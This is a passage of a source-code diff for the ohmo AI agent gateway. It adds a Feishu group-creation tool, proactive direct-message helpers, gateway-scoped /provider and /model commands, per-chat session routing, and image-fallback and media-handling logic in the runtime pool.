if request.get("used"):
return ToolResult(output="This /group request has already created a group.", is_error=True)
if request.get("channel") != "feishu" or request.get("chat_type") not in {"p2p", "private", "im", "direct", ""}:
return ToolResult(output="/group group creation is only allowed from a Feishu private chat.", is_error=True)
owner_open_id = str(request.get("sender_id") or "").strip()
if not owner_open_id:
return ToolResult(output="Cannot create group: missing Feishu requester open_id.", is_error=True)
try:
name = normalize_group_name(arguments.name)
except ValueError as exc:
return ToolResult(output=f"Cannot create group: {exc}", is_error=True)
cwd = _resolve_cwd(arguments.cwd, context.cwd)
if cwd is not None and not Path(cwd).is_dir():
return ToolResult(output=f"Cannot bind cwd because the directory does not exist: {cwd}", is_error=True)
try:
result = self._create_group(owner_open_id, name)
chat_id = await result if asyncio.iscoroutine(result) else result
except Exception as exc:
return ToolResult(output=f"Cannot create Feishu group: {exc}", is_error=True)
chat_id = str(chat_id).strip()
if not chat_id:
return ToolResult(output="Cannot create group: Feishu returned an empty chat_id.", is_error=True)
request["used"] = True
try:
record_path = save_managed_group_record(
workspace=self._workspace,
channel="feishu",
chat_id=chat_id,
owner_open_id=owner_open_id,
name=name,
cwd=cwd,
repo=arguments.repo,
binding_status="bound" if cwd else "pending_agent",
metadata={
"source": "slash_group_tool",
"raw_group_request": request.get("raw_request"),
"source_chat_id": request.get("source_chat_id"),
"source_session_key": request.get("source_session_key"),
"sender_display_name": request.get("sender_display_name"),
"tool_reason": arguments.reason,
},
)
except Exception as exc:
return ToolResult(
output=f"Created Feishu group {chat_id}, but failed to save metadata: {exc}",
is_error=True,
metadata={"chat_id": chat_id},
)
welcome = (
"这个群已经创建好。"
+ (f"\n已绑定工作目录:{cwd}" if cwd else "")
+ (f"\n关联仓库:{arguments.repo}" if arguments.repo else "")
+ "\n这个 ohmo 管理的群默认可以不用 @ 直接和我说话;普通群仍建议 @ohmo 触发。"
+ "\n如果我没有响应,请确认飞书应用已开通接收群聊所有消息的权限。"
)
if self._publish_group_welcome is not None:
published = self._publish_group_welcome(chat_id, welcome, owner_open_id)
if asyncio.iscoroutine(published):
await published
lines = [
f"Created Feishu group: {name}",
f"chat_id: {chat_id}",
f"metadata: {record_path}",
]
if cwd:
lines.append(f"cwd: {cwd}")
if arguments.repo:
lines.append(f"repo: {arguments.repo}")
return ToolResult(output="\n".join(lines), metadata={"chat_id": chat_id, "cwd": cwd, "repo": arguments.repo})
def _resolve_cwd(raw: str | None, base_cwd: Path) -> str | None:
if raw is None or not str(raw).strip():
return None
path = Path(str(raw).strip()).expanduser()
if not path.is_absolute():
path = base_cwd / path
return str(path.resolve())
+78
View File
@@ -0,0 +1,78 @@
"""Proactive notification helpers for ohmo gateway channels."""
from __future__ import annotations
import asyncio
import json
import logging
from pathlib import Path
from typing import Any
from ohmo.gateway.config import load_gateway_config
logger = logging.getLogger(__name__)
class OhmoNotificationError(RuntimeError):
"""Raised when a proactive notification cannot be delivered."""
def _chunk_text(text: str, *, max_chars: int = 1800) -> list[str]:
"""Split text into message-sized chunks without losing content."""
stripped = text.strip()
if not stripped:
return []
chunks: list[str] = []
remaining = stripped
while len(remaining) > max_chars:
split_at = remaining.rfind("\n", 0, max_chars)
if split_at < max_chars // 2:
split_at = max_chars
chunks.append(remaining[:split_at].strip())
remaining = remaining[split_at:].strip()
if remaining:
chunks.append(remaining)
return chunks
def _send_feishu_text_sync(*, user_open_id: str, content: str, workspace: str | Path | None = None) -> None:
"""Send a Feishu direct message using ohmo gateway Feishu credentials."""
try:
import lark_oapi as lark
from lark_oapi.api.im.v1 import CreateMessageRequest, CreateMessageRequestBody
except ImportError as exc: # pragma: no cover - depends on optional extra
raise OhmoNotificationError("Feishu SDK is not installed. Run: pip install lark-oapi") from exc
config = load_gateway_config(workspace)
feishu_config: dict[str, Any] = config.channel_configs.get("feishu", {})
app_id = str(feishu_config.get("app_id") or "").strip()
app_secret = str(feishu_config.get("app_secret") or "").strip()
if not app_id or not app_secret:
raise OhmoNotificationError("Feishu app_id/app_secret are not configured in ohmo gateway config.")
client = lark.Client.builder().app_id(app_id).app_secret(app_secret).log_level(lark.LogLevel.INFO).build()
for chunk in _chunk_text(content):
request = (
CreateMessageRequest.builder()
.receive_id_type("open_id")
.request_body(
CreateMessageRequestBody.builder()
.receive_id(user_open_id)
.msg_type("text")
.content(json.dumps({"text": chunk}, ensure_ascii=False))
.build()
)
.build()
)
response = client.im.v1.message.create(request)
if not response.success():
log_id = response.get_log_id() if hasattr(response, "get_log_id") else ""
raise OhmoNotificationError(
f"send Feishu DM failed: code={response.code}, msg={response.msg}, log_id={log_id}"
)
async def send_feishu_dm(*, user_open_id: str, content: str, workspace: str | Path | None = None) -> None:
"""Send a proactive Feishu direct message to a user open_id."""
await asyncio.to_thread(_send_feishu_text_sync, user_open_id=user_open_id, content=content, workspace=workspace)
logger.info("Sent proactive Feishu DM to open_id=%s", user_open_id)
+139
View File
@@ -0,0 +1,139 @@
"""ohmo gateway-scoped provider and model commands."""
from __future__ import annotations
from pathlib import Path
from openharness.auth.manager import AuthManager
from openharness.config import load_settings
from ohmo.gateway.config import load_gateway_config, save_gateway_config
def handle_gateway_provider_command(args: str, *, workspace: str | Path | None) -> tuple[str, bool]:
"""Handle ``/provider`` against the ohmo gateway config."""
tokens = args.split()
statuses = AuthManager(load_settings()).get_profile_statuses()
config = load_gateway_config(workspace)
active = config.provider_profile
if not tokens or tokens[0] == "show":
info = statuses.get(active)
if info is None:
return f"ohmo gateway provider_profile: {active}\nStatus: unknown profile", False
return (
f"ohmo gateway provider_profile: {active}\n"
f"Label: {info['label']}\n"
f"Configured: {'yes' if info['configured'] else 'no'}\n"
f"Base URL: {info['base_url'] or '(default)'}\n"
f"Model: {info['model']}",
False,
)
if tokens[0] == "list":
lines = ["ohmo gateway provider profiles:"]
for name, info in statuses.items():
marker = "*" if name == active else " "
configured = "ready" if info["configured"] else "missing auth"
lines.append(f"{marker} {name} [{configured}] {info['label']} -> {info['model']}")
return "\n".join(lines), False
target = tokens[1] if tokens[0] == "use" and len(tokens) == 2 else (tokens[0] if len(tokens) == 1 else None)
if target is None:
return "Usage: /provider [show|list|PROFILE]", False
if target not in statuses:
return f"Unknown provider profile: {target}", False
if target == active:
return f"ohmo gateway already uses provider_profile={target}.", False
save_gateway_config(config.model_copy(update={"provider_profile": target}), workspace)
info = statuses[target]
configured = "ready" if info["configured"] else "missing auth"
return (
f"ohmo gateway provider_profile set to {target} ({info['label']}, {configured}).\n"
"Refreshing the current ohmo runtime to apply it.",
True,
)
def handle_gateway_model_command(args: str, *, workspace: str | Path | None) -> tuple[str, bool]:
"""Handle ``/model`` against the profile selected by ohmo gateway."""
settings = load_settings()
manager = AuthManager(settings)
config = load_gateway_config(workspace)
profile_name = config.provider_profile
profiles = manager.list_profiles()
profile = profiles.get(profile_name)
if profile is None:
return f"ohmo gateway provider_profile is unknown: {profile_name}", False
tokens = args.split(maxsplit=1)
if not tokens or tokens[0] == "show":
return _format_model_status(profile_name, profile), False
if tokens[0] == "list":
if profile.allowed_models:
return (
f"Switchable models for ohmo gateway profile '{profile_name}':\n"
+ "\n".join(f"- {model}" for model in profile.allowed_models)
), False
return (
f"Profile '{profile_name}' has no pinned model list. "
"Any model value is accepted. Use /model add MODEL to pin one."
), False
if tokens[0] == "add" and len(tokens) == 2:
model_name = tokens[1].strip()
if not model_name:
return "Usage: /model add MODEL", False
manager.update_profile(profile_name, allowed_models=_dedupe([*_seed_models(profile), model_name]))
return f"Added model '{model_name}' to ohmo gateway profile '{profile_name}'.", False
if tokens[0] == "add":
return "Usage: /model add MODEL", False
if tokens[0] in {"remove", "rm"} and len(tokens) == 2:
model_name = tokens[1].strip()
models = [model for model in _dedupe(profile.allowed_models) if model != model_name]
if len(models) == len(_dedupe(profile.allowed_models)):
return f"Model '{model_name}' is not pinned for ohmo gateway profile '{profile_name}'.", False
reset_current = (profile.last_model or "").strip() == model_name
manager.update_profile(profile_name, allowed_models=models, last_model="" if reset_current else None)
return f"Removed model '{model_name}' from ohmo gateway profile '{profile_name}'.", True
if tokens[0] in {"remove", "rm"}:
return "Usage: /model remove MODEL", False
if tokens[0] == "clear":
manager.update_profile(profile_name, allowed_models=[])
return f"Cleared pinned models for ohmo gateway profile '{profile_name}'.", False
model_name = tokens[1].strip() if tokens[0] == "set" and len(tokens) == 2 else args.strip()
if not model_name:
return "Usage: /model [show|list|add MODEL|remove MODEL|clear|MODEL]", False
if profile.allowed_models and model_name.lower() != "default" and model_name not in profile.allowed_models:
allowed = ", ".join(profile.allowed_models)
return f"Model '{model_name}' is not allowed for ohmo gateway profile '{profile_name}'. Allowed models: {allowed}", False
if model_name.lower() == "default":
manager.update_profile(profile_name, last_model="")
return f"ohmo gateway model reset to default for profile '{profile_name}'. Refreshing runtime to apply it.", True
manager.update_profile(profile_name, last_model=model_name)
return f"ohmo gateway model set to {model_name} for profile '{profile_name}'. Refreshing runtime to apply it.", True
def _format_model_status(profile_name, profile) -> str:
lines = [
f"ohmo gateway model: {profile.resolved_model}",
f"Profile: {profile_name}",
]
if profile.allowed_models:
lines.append("Available models:")
lines.extend(f"- {model}" for model in profile.allowed_models)
else:
lines.append("Available models: unrestricted for this profile")
lines.append("Use /model add MODEL to pin switchable models.")
return "\n".join(lines)
def _dedupe(values) -> list[str]:
seen: set[str] = set()
result: list[str] = []
for value in values:
model = str(value).strip()
if model and model not in seen:
result.append(model)
seen.add(model)
return result
def _seed_models(profile) -> list[str]:
return _dedupe([*profile.allowed_models, profile.resolved_model])
+14 -4
View File
@@ -6,16 +6,26 @@ from openharness.channels.bus.events import InboundMessage
def session_key_for_message(message: InboundMessage) -> str:
"""Route sessions by sender plus chat/thread when available."""
"""Route sessions by chat, isolating shared chats by thread/sender.
Private chats keep the original ``channel:chat_id`` key so existing long
ohmo sessions remain resumable. Group/shared chats include sender identity
to avoid multiple people sharing one agent memory.
"""
if message.session_key_override:
return message.session_key_override
sender_id = str(message.sender_id).strip() or "anonymous"
chat_type = str(message.metadata.get("chat_type") or "").strip().lower()
is_shared_chat = chat_type in {"group", "chat", "supergroup", "channel", "room"}
thread_id = (
message.metadata.get("thread_id")
or message.metadata.get("thread_ts")
or message.metadata.get("message_thread_id")
)
if thread_id:
return f"{message.channel}:{message.chat_id}:{thread_id}:{sender_id}"
return f"{message.channel}:{message.chat_id}:{sender_id}"
if is_shared_chat:
return f"{message.channel}:{message.chat_id}:{thread_id}:{sender_id}"
return f"{message.channel}:{message.chat_id}:{thread_id}"
if is_shared_chat:
return f"{message.channel}:{message.chat_id}:{sender_id}"
return f"{message.channel}:{message.chat_id}"
+499 -44
View File
@@ -9,11 +9,17 @@ import mimetypes
from pathlib import Path
import json
import os
import re
import string
from openharness.channels.bus.events import InboundMessage
from openharness.commands import CommandContext, CommandResult
from openharness.engine.messages import ConversationMessage, ImageBlock, TextBlock
from openharness.commands import CommandContext, CommandResult, lookup_skill_slash_command
from openharness.engine.messages import (
ConversationMessage,
ImageBlock,
TextBlock,
sanitize_conversation_messages,
)
from openharness.engine.query import MaxTurnsExceeded
from openharness.engine.stream_events import (
AssistantTextDelta,
@@ -28,9 +34,13 @@ from openharness.prompts import build_runtime_system_prompt
from openharness.ui.runtime import RuntimeBundle, _last_user_text, build_runtime, close_runtime, start_runtime
from ohmo.gateway.config import load_gateway_config
from ohmo.gateway.group_tool import CreateFeishuGroup, OhmoCreateFeishuGroupTool, PublishGroupWelcome
from ohmo.gateway.provider_commands import handle_gateway_model_command, handle_gateway_provider_command
from ohmo.group_registry import load_managed_group_record, normalize_cwd
from ohmo.memory import create_memory_command_backend
from ohmo.prompts import build_ohmo_system_prompt
from ohmo.session_storage import OhmoSessionBackend
from ohmo.workspace import get_plugins_dir, get_skills_dir, initialize_workspace
from ohmo.workspace import get_memory_dir, get_plugins_dir, get_sessions_dir, get_skills_dir, initialize_workspace
logger = logging.getLogger(__name__)
@@ -53,6 +63,25 @@ _CHANNEL_THINKING_PHRASES_EN = (
_TEXT_PREVIEW_BYTES = 4096
_TEXT_PREVIEW_CHARS = 900
_BINARY_HEAD_BYTES = 32
_FINAL_REPLY_IMAGE_PATH_RE = re.compile(
r"(?P<path>(?:[A-Za-z]:[\\/]|/)[^\r\n`\"'<>|?*\x00]+?\.(?:png|jpe?g|webp|gif|bmp))",
re.IGNORECASE,
)
_IMAGE_FALLBACK_NOTE = (
"[Image attachment omitted because the active model does not support image input. "
"Use the attachment paths and summaries above if needed.]"
)
_NO_GROUP_REQUEST = object()
_GROUP_TOOL_NAME = "ohmo_create_feishu_group"
_GROUP_AGENT_PROMPT_PREFIX = "The user invoked `/group` from a Feishu private chat."
_GROUP_AGENT_PROMPT_REQUEST_MARKER = "User /group request:"
_GROUP_METADATA_KEYS = (
"task_focus_state",
"recent_work_log",
"recent_verified_work",
"compact_checkpoints",
"compact_last",
)
@dataclass(frozen=True)
@@ -62,6 +91,7 @@ class GatewayStreamUpdate:
kind: str
text: str
metadata: dict[str, object]
media: list[str] | None = None
class OhmoSessionRuntimePool:
@@ -75,12 +105,16 @@ class OhmoSessionRuntimePool:
provider_profile: str,
model: str | None = None,
max_turns: int | None = None,
create_feishu_group: CreateFeishuGroup | None = None,
publish_group_welcome: PublishGroupWelcome | None = None,
) -> None:
self._cwd = str(Path(cwd).resolve())
self._workspace = workspace
self._provider_profile = provider_profile
self._model = model
self._max_turns = max_turns
self._create_feishu_group = create_feishu_group
self._publish_group_welcome = publish_group_welcome
self._workspace = initialize_workspace(workspace)
self._gateway_config = load_gateway_config(self._workspace)
self._session_backend = OhmoSessionBackend(self._workspace)
@@ -102,18 +136,48 @@ class OhmoSessionRuntimePool:
}
return command.name.lower() in allowed
async def get_bundle(self, session_key: str, latest_user_prompt: str | None = None) -> RuntimeBundle:
def _handle_gateway_scoped_command(self, command_name: str, args: str) -> tuple[str, bool] | None:
lowered = command_name.lower()
if lowered == "provider":
result = handle_gateway_provider_command(args, workspace=self._workspace)
elif lowered == "model":
result = handle_gateway_model_command(args, workspace=self._workspace)
else:
return None
if result[1]:
self._gateway_config = load_gateway_config(self._workspace)
self._provider_profile = self._gateway_config.provider_profile
return result
async def get_bundle(
self,
session_key: str,
latest_user_prompt: str | None = None,
cwd: str | Path | None = None,
) -> RuntimeBundle:
"""Return an existing bundle or create a new one."""
session_cwd = str(Path(cwd or self._cwd).expanduser().resolve())
bundle = self._bundles.get(session_key)
if bundle is not None:
logger.info(
"ohmo runtime reusing session session_key=%s session_id=%s prompt=%r",
session_key,
bundle.session_id,
_content_snippet(latest_user_prompt or ""),
)
bundle.engine.set_system_prompt(self._runtime_system_prompt(bundle, latest_user_prompt))
return bundle
bundle_cwd = str(Path(getattr(bundle, "cwd", self._cwd)).resolve())
if bundle_cwd != session_cwd:
logger.info(
"ohmo runtime recreating session for cwd change session_key=%s old_cwd=%s new_cwd=%s",
session_key,
bundle_cwd,
session_cwd,
)
await close_runtime(bundle)
self._bundles.pop(session_key, None)
else:
logger.info(
"ohmo runtime reusing session session_key=%s session_id=%s prompt=%r",
session_key,
bundle.session_id,
_content_snippet(latest_user_prompt or ""),
)
bundle.engine.set_system_prompt(self._runtime_system_prompt(bundle, latest_user_prompt))
return bundle
snapshot = self._session_backend.load_latest_for_session_key(session_key)
logger.info(
@@ -123,19 +187,29 @@ class OhmoSessionRuntimePool:
_content_snippet(latest_user_prompt or ""),
)
bundle = await build_runtime(
cwd=session_cwd,
model=self._model,
max_turns=self._max_turns,
system_prompt=build_ohmo_system_prompt(self._cwd, workspace=self._workspace, extra_prompt=None),
system_prompt=build_ohmo_system_prompt(session_cwd, workspace=self._workspace, extra_prompt=None),
active_profile=self._provider_profile,
session_backend=self._session_backend,
enforce_max_turns=self._max_turns is not None,
restore_messages=snapshot.get("messages") if snapshot else None,
restore_tool_metadata=snapshot.get("tool_metadata") if snapshot else None,
restore_messages=_sanitize_snapshot_messages(snapshot.get("messages") if snapshot else None),
restore_tool_metadata=_sanitize_group_command_metadata(snapshot.get("tool_metadata") if snapshot else None),
extra_skill_dirs=(str(get_skills_dir(self._workspace)),),
extra_plugin_roots=(str(get_plugins_dir(self._workspace)),),
memory_backend=create_memory_command_backend(self._workspace),
include_project_memory=False,
autodream_context={
"memory_dir": str(get_memory_dir(self._workspace)),
"session_dir": str(get_sessions_dir(self._workspace)),
"app_label": "ohmo personal memory",
"runner_module": "ohmo",
},
)
if snapshot and snapshot.get("session_id"):
bundle.session_id = str(snapshot["session_id"])
self._register_gateway_tools(bundle)
await start_runtime(bundle)
bundle.engine.set_system_prompt(self._runtime_system_prompt(bundle, latest_user_prompt))
logger.info(
@@ -151,7 +225,9 @@ class OhmoSessionRuntimePool:
"""Submit an inbound channel message and yield progress + final reply updates."""
user_message = _build_inbound_user_message(message)
user_prompt = user_message.text
bundle = await self.get_bundle(session_key, latest_user_prompt=user_prompt)
command_prompt = (message.content or "").strip()
session_cwd = self._cwd_for_message(message)
bundle = await self.get_bundle(session_key, latest_user_prompt=user_prompt, cwd=session_cwd)
logger.info(
"ohmo runtime processing start channel=%s chat_id=%s session_key=%s session_id=%s content=%r",
message.channel,
@@ -161,9 +237,34 @@ class OhmoSessionRuntimePool:
_content_snippet(user_prompt),
)
parsed = bundle.commands.lookup(user_prompt)
command_context: CommandContext | None = None
def get_command_context() -> CommandContext:
nonlocal command_context
if command_context is None:
command_context = CommandContext(
engine=bundle.engine,
hooks_summary=getattr(bundle, "hook_summary", lambda: "")(),
mcp_summary=getattr(bundle, "mcp_summary", lambda: "")(),
plugin_summary=getattr(bundle, "plugin_summary", lambda: "")(),
cwd=getattr(bundle, "cwd", str(self._cwd)),
tool_registry=getattr(bundle, "tool_registry", None),
app_state=getattr(bundle, "app_state", None),
session_backend=getattr(bundle, "session_backend", self._session_backend),
session_id=getattr(bundle, "session_id", None),
extra_skill_dirs=getattr(bundle, "extra_skill_dirs", ()),
extra_plugin_roots=getattr(bundle, "extra_plugin_roots", ()),
memory_backend=create_memory_command_backend(self._workspace),
include_project_memory=False,
)
return command_context
parsed = bundle.commands.lookup(command_prompt)
if parsed is None and not message.media:
parsed = lookup_skill_slash_command(command_prompt, get_command_context())
if parsed is not None and not message.media:
command, args = parsed
command_name = str(getattr(command, "name", "") or "")
remote_allowed = getattr(command, "remote_invocable", True)
if not remote_allowed and self._remote_admin_allowed(command):
remote_allowed = True
@@ -172,11 +273,11 @@ class OhmoSessionRuntimePool:
message.channel,
message.chat_id,
message.sender_id,
command.name,
command_name,
)
if not remote_allowed:
result = CommandResult(
message=f"/{command.name} is only available in the local OpenHarness UI."
message=f"/{command_name} is only available in the local OpenHarness UI."
)
async for update in self._stream_command_result(
bundle=bundle,
@@ -187,21 +288,22 @@ class OhmoSessionRuntimePool:
):
yield update
return
gateway_result = self._handle_gateway_scoped_command(command_name, args)
if gateway_result is not None:
message_text, refresh_runtime = gateway_result
result = CommandResult(message=message_text, refresh_runtime=refresh_runtime)
async for update in self._stream_command_result(
bundle=bundle,
message=message,
session_key=session_key,
user_prompt=user_prompt,
result=result,
):
yield update
return
result = await command.handler(
args,
CommandContext(
engine=bundle.engine,
hooks_summary=bundle.hook_summary(),
mcp_summary=bundle.mcp_summary(),
plugin_summary=bundle.plugin_summary(),
cwd=bundle.cwd,
tool_registry=bundle.tool_registry,
app_state=bundle.app_state,
session_backend=bundle.session_backend,
session_id=bundle.session_id,
extra_skill_dirs=bundle.extra_skill_dirs,
extra_plugin_roots=bundle.extra_plugin_roots,
),
get_command_context(),
)
async for update in self._stream_command_result(
bundle=bundle,
@@ -308,6 +410,7 @@ class OhmoSessionRuntimePool:
):
bundle.engine.set_system_prompt(self._runtime_system_prompt(bundle, user_prompt))
reply_parts: list[str] = []
emitted_media: set[str] = set()
yield GatewayStreamUpdate(
kind="progress",
text=_format_channel_progress(
@@ -319,8 +422,43 @@ class OhmoSessionRuntimePool:
),
metadata={"_progress": True, "_session_key": session_key},
)
previous_group_request = self._set_group_request_context(bundle, message, session_key)
try:
async for event in bundle.engine.submit_message(user_message):
if isinstance(event, ErrorEvent) and _should_retry_without_image_input(
event.message,
bundle.engine.messages,
):
logger.warning(
"ohmo runtime image input rejected; retrying without image blocks session_key=%s session_id=%s message=%r",
session_key,
bundle.session_id,
_content_snippet(event.message),
)
_strip_image_blocks_from_engine_history(bundle.engine)
yield GatewayStreamUpdate(
kind="progress",
text=_format_channel_progress(
channel=message.channel,
kind="image_fallback",
text=event.message,
session_key=session_key,
content=user_prompt,
),
metadata={"_progress": True, "_session_key": session_key, "_image_fallback": True},
)
async for retry_event in bundle.engine.continue_pending(max_turns=bundle.engine.max_turns):
async for update in self._convert_stream_event(
event=retry_event,
bundle=bundle,
message=message,
session_key=session_key,
content=user_prompt,
reply_parts=reply_parts,
):
_remember_update_media(emitted_media, update)
yield update
break
async for update in self._convert_stream_event(
event=event,
bundle=bundle,
@@ -329,6 +467,7 @@ class OhmoSessionRuntimePool:
content=user_prompt,
reply_parts=reply_parts,
):
_remember_update_media(emitted_media, update)
yield update
except MaxTurnsExceeded as exc:
yield GatewayStreamUpdate(
@@ -336,8 +475,13 @@ class OhmoSessionRuntimePool:
text=f"Stopped after {exc.max_turns} turns (max_turns).",
metadata={"_session_key": session_key},
)
self._restore_group_request_context(bundle, previous_group_request)
await self._save_snapshot(bundle, session_key, user_prompt)
return
except Exception:
self._restore_group_request_context(bundle, previous_group_request)
raise
self._restore_group_request_context(bundle, previous_group_request)
await self._save_snapshot(bundle, session_key, user_prompt)
reply = "".join(reply_parts).strip()
if reply:
@@ -347,10 +491,15 @@ class OhmoSessionRuntimePool:
bundle.session_id,
_content_snippet(reply),
)
final_media = _extract_final_reply_media(reply, emitted_media)
metadata: dict[str, object] = {"_session_key": session_key}
if final_media:
metadata.update({"_media": final_media, "_final_media_fallback": True})
yield GatewayStreamUpdate(
kind="final",
text=reply,
metadata={"_session_key": session_key},
metadata=metadata,
media=final_media or None,
)
async def _convert_stream_event(
@@ -446,6 +595,14 @@ class OhmoSessionRuntimePool:
bundle.session_id,
event.tool_name,
)
media = _extract_tool_media(event)
if media:
yield GatewayStreamUpdate(
kind="media",
text=_format_tool_media_caption(event, media),
metadata={"_session_key": session_key, "_media": media, "_tool_media": True},
media=media,
)
return
if isinstance(event, ErrorEvent):
logger.error(
@@ -464,12 +621,20 @@ class OhmoSessionRuntimePool:
reply_parts.append(event.message.text.strip())
async def _save_snapshot(self, bundle: RuntimeBundle, session_key: str, user_prompt: str) -> None:
tool_metadata = getattr(bundle.engine, "tool_metadata", {}) or {}
tool_metadata = _sanitize_group_command_metadata(getattr(bundle.engine, "tool_metadata", {}) or {})
if isinstance(getattr(bundle.engine, "tool_metadata", None), dict) and isinstance(tool_metadata, dict):
bundle.engine.tool_metadata.update(tool_metadata)
messages = _sanitize_group_command_prompts(list(bundle.engine.messages))
if messages != list(bundle.engine.messages):
if hasattr(bundle.engine, "load_messages"):
bundle.engine.load_messages(messages)
else:
bundle.engine.messages = messages
self._session_backend.save_snapshot(
cwd=self._cwd,
cwd=getattr(bundle, "cwd", self._cwd),
model=bundle.current_settings().model,
system_prompt=self._runtime_system_prompt(bundle, user_prompt),
messages=bundle.engine.messages,
messages=messages,
usage=bundle.engine.total_usage,
session_id=bundle.session_id,
session_key=session_key,
@@ -488,23 +653,33 @@ class OhmoSessionRuntimePool:
bundle: RuntimeBundle,
latest_user_prompt: str | None,
) -> RuntimeBundle:
snapshot = list(bundle.engine.messages)
snapshot = sanitize_conversation_messages(list(bundle.engine.messages))
prior_session_id = bundle.session_id
bundle_cwd = str(Path(getattr(bundle, "cwd", self._cwd)).resolve())
await close_runtime(bundle)
refreshed = await build_runtime(
cwd=self._cwd,
cwd=bundle_cwd,
model=self._model,
max_turns=self._max_turns,
system_prompt=build_ohmo_system_prompt(self._cwd, workspace=self._workspace, extra_prompt=None),
system_prompt=build_ohmo_system_prompt(bundle_cwd, workspace=self._workspace, extra_prompt=None),
active_profile=self._provider_profile,
session_backend=self._session_backend,
enforce_max_turns=self._max_turns is not None,
restore_messages=[message.model_dump(mode="json") for message in snapshot],
restore_tool_metadata=getattr(bundle.engine, "tool_metadata", {}) or {},
restore_messages=[message.model_dump(mode="json") for message in _sanitize_group_command_prompts(snapshot)],
restore_tool_metadata=_sanitize_group_command_metadata(getattr(bundle.engine, "tool_metadata", {}) or {}),
extra_skill_dirs=(str(get_skills_dir(self._workspace)),),
extra_plugin_roots=(str(get_plugins_dir(self._workspace)),),
memory_backend=create_memory_command_backend(self._workspace),
include_project_memory=False,
autodream_context={
"memory_dir": str(get_memory_dir(self._workspace)),
"session_dir": str(get_sessions_dir(self._workspace)),
"app_label": "ohmo personal memory",
"runner_module": "ohmo",
},
)
refreshed.session_id = prior_session_id
self._register_gateway_tools(refreshed)
await start_runtime(refreshed)
refreshed.engine.set_system_prompt(self._runtime_system_prompt(refreshed, latest_user_prompt))
self._bundles[session_key] = refreshed
@@ -517,19 +692,99 @@ class OhmoSessionRuntimePool:
return refreshed
def _runtime_system_prompt(self, bundle: RuntimeBundle, latest_user_prompt: str | None) -> str:
bundle_cwd = str(Path(getattr(bundle, "cwd", self._cwd)).resolve())
if not hasattr(bundle, "current_settings"):
return build_ohmo_system_prompt(self._cwd, workspace=self._workspace, extra_prompt=None)
return build_ohmo_system_prompt(bundle_cwd, workspace=self._workspace, extra_prompt=None)
settings = bundle.current_settings()
if not hasattr(settings, "system_prompt"):
return build_ohmo_system_prompt(self._cwd, workspace=self._workspace, extra_prompt=None)
return build_ohmo_system_prompt(bundle_cwd, workspace=self._workspace, extra_prompt=None)
return build_runtime_system_prompt(
settings,
cwd=self._cwd,
cwd=bundle_cwd,
latest_user_prompt=latest_user_prompt,
extra_skill_dirs=getattr(bundle, "extra_skill_dirs", ()),
extra_plugin_roots=getattr(bundle, "extra_plugin_roots", ()),
include_project_memory=False,
)
def _cwd_for_message(self, message: InboundMessage) -> str:
record = load_managed_group_record(
workspace=self._workspace,
channel=message.channel,
chat_id=message.chat_id,
)
cwd = record.get("cwd") if record else None
if not cwd:
return self._cwd
normalized = normalize_cwd(str(cwd))
if not Path(normalized).is_dir():
logger.warning(
"ohmo managed group cwd does not exist channel=%s chat_id=%s cwd=%s",
message.channel,
message.chat_id,
normalized,
)
return self._cwd
return normalized
def _register_gateway_tools(self, bundle: RuntimeBundle) -> None:
self._unregister_group_tool(bundle)
def _register_group_tool(self, bundle: RuntimeBundle) -> None:
if self._create_feishu_group is None or not hasattr(bundle, "tool_registry"):
return
if bundle.tool_registry is None or bundle.tool_registry.get(_GROUP_TOOL_NAME) is not None:
return
bundle.tool_registry.register(
OhmoCreateFeishuGroupTool(
workspace=self._workspace,
create_group=self._create_feishu_group,
publish_group_welcome=self._publish_group_welcome,
)
)
@staticmethod
def _unregister_group_tool(bundle: RuntimeBundle) -> None:
registry = getattr(bundle, "tool_registry", None)
tools = getattr(registry, "_tools", None)
if isinstance(tools, dict):
tools.pop(_GROUP_TOOL_NAME, None)
def _set_group_request_context(
self,
bundle: RuntimeBundle,
message: InboundMessage,
session_key: str,
) -> object:
metadata = getattr(bundle.engine, "tool_metadata", {})
previous = metadata.get("ohmo_group_request", _NO_GROUP_REQUEST)
if not message.metadata.get("_ohmo_group_command"):
metadata.pop("ohmo_group_request", None)
metadata.pop("_suppress_next_user_goal", None)
self._unregister_group_tool(bundle)
return _NO_GROUP_REQUEST
self._register_group_tool(bundle)
metadata["_suppress_next_user_goal"] = True
metadata["ohmo_group_request"] = {
"channel": message.channel,
"chat_type": str(message.metadata.get("chat_type") or "").strip().lower(),
"sender_id": str(message.sender_id),
"source_chat_id": str(message.chat_id),
"source_session_key": session_key,
"sender_display_name": message.metadata.get("sender_display_name"),
"raw_request": message.metadata.get("_ohmo_group_raw_request") or "",
"used": False,
}
return previous
@staticmethod
def _restore_group_request_context(bundle: RuntimeBundle, previous: object) -> None:
metadata = getattr(bundle.engine, "tool_metadata", {})
del previous
metadata.pop("ohmo_group_request", None)
metadata.pop("_suppress_next_user_goal", None)
OhmoSessionRuntimePool._unregister_group_tool(bundle)
def _content_snippet(text: str, *, limit: int = 160) -> str:
"""Return a compact single-line preview for logs."""
@@ -539,6 +794,148 @@ def _content_snippet(text: str, *, limit: int = 160) -> str:
return normalized[: limit - 3] + "..."
def _sanitize_snapshot_messages(raw_messages: object) -> list[dict[str, object]] | None:
"""Validate and sanitize restored messages from persisted ohmo snapshots."""
if not raw_messages or not isinstance(raw_messages, list):
return None
messages: list[ConversationMessage] = []
for raw in raw_messages:
try:
messages.append(ConversationMessage.model_validate(raw))
except Exception:
logger.warning("ohmo runtime skipped invalid restored message while sanitizing snapshot")
return [message.model_dump(mode="json") for message in _sanitize_group_command_prompts(messages)]
def _extract_tool_media(event: ToolExecutionCompleted) -> list[str]:
"""Return local media paths produced by a tool completion event."""
if event.is_error or not isinstance(event.metadata, dict):
return []
raw_paths = event.metadata.get("paths") or event.metadata.get("media")
if isinstance(raw_paths, str):
candidates = [raw_paths]
elif isinstance(raw_paths, list):
candidates = [str(item) for item in raw_paths if isinstance(item, str) and item.strip()]
else:
candidates = []
media: list[str] = []
seen: set[str] = set()
for raw in candidates:
path = Path(raw).expanduser()
if not path.is_absolute():
path = path.resolve()
if not path.is_file():
continue
resolved = str(path)
if resolved not in seen:
seen.add(resolved)
media.append(resolved)
return media
def _remember_update_media(seen: set[str], update: GatewayStreamUpdate) -> None:
"""Track media already emitted during this gateway turn."""
raw_media = update.media or (update.metadata or {}).get("_media") or []
if isinstance(raw_media, str):
candidates = [raw_media]
elif isinstance(raw_media, list):
candidates = [str(item) for item in raw_media if isinstance(item, str) and item.strip()]
else:
candidates = []
for raw in candidates:
try:
path = Path(raw).expanduser()
if not path.is_absolute():
path = path.resolve()
seen.add(str(path))
except Exception:
